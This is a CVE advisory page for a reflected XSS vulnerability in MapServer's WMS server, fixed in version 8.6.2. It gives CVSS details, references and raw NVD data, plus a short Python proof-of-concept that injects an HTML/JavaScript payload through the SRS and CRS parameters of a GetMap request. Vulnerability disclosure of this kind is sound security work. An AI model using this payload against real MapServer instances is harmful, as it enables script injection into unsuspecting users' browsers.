CVE-2026-42030

Description

MapServer is a system for developing web-based GIS applications. From version 6.0 to before version 8.6.2, a reflected XSS vulnerability in MapServer's WMS server allows an unauthenticated attacker to inject arbitrary HTML/JavaScript into the browser of any user who opens a crafted WMS URL. The vulnerability is triggered via FORMAT=application/openlayers combined with an unsanitized SRS parameter in WMS 1.3.0 requests. This issue has been patched in version 8.6.2.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MapServer >= 6.0, < 8.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the MapServer instance
target = "http://example.com/mapserv"

# Malicious payload to inject
xss_payload = "<img src=x onerror=alert('XSS')>"

# Parameters based on the vulnerability description (WMS 1.3.0)
params = {
    "SERVICE": "WMS",
    "VERSION": "1.3.0",
    "REQUEST": "GetMap",
    "FORMAT": "application/openlayers",  # This format triggers the vulnerability
    "LAYERS": "test",
    "SRS": xss_payload,                 # The vulnerable parameter
    "CRS": xss_payload,                 # SRS is used in WMS 1.3.0 (often synonymous with CRS)
    "BBOX": "0,0,10,10",
    "WIDTH": "100",
    "HEIGHT": "100"
}

try:
    r = requests.get(target, params=params)
    if xss_payload in r.text:
        print("[+] Vulnerability confirmed: Payload found in response.")
    else:
        print("[-] Payload not found in response.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42030
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42030
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42030/
[4] VulDB https://vuldb.com/cve/CVE-2026-42030
[5] https://github.com/MapServer/MapServer/releases/tag/rel-8-6-2
[6] https://github.com/MapServer/MapServer/security/advisories/GHSA-4g9f-ph64-hg2x
[7] https://github.com/MapServer/MapServer/security/advisories/GHSA-4g9f-ph64-hg2x

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42030", "sourceIdentifier": "[email protected]", "published": "2026-05-08T17:16:31.307", "lastModified": "2026-05-08T22:16:30.980", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "MapServer is a system for developing web-based GIS applications. From version 6.0 to before version 8.6.2, a reflected XSS vulnerability in MapServer's WMS server allows an unauthenticated attacker to inject arbitrary HTML/JavaScript into the browser of any user who opens a crafted WMS URL. The vulnerability is triggered via FORMAT=application/openlayers combined with an unsanitized SRS parameter in WMS 1.3.0 requests. This issue has been patched in version 8.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://github.com/MapServer/MapServer/releases/tag/rel-8-6-2", "source": "[email protected]"}, {"url": "https://github.com/MapServer/MapServer/security/advisories/GHSA-4g9f-ph64-hg2x", "source": "[email protected]"}, {"url": "https://github.com/MapServer/MapServer/security/advisories/GHSA-4g9f-ph64-hg2x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}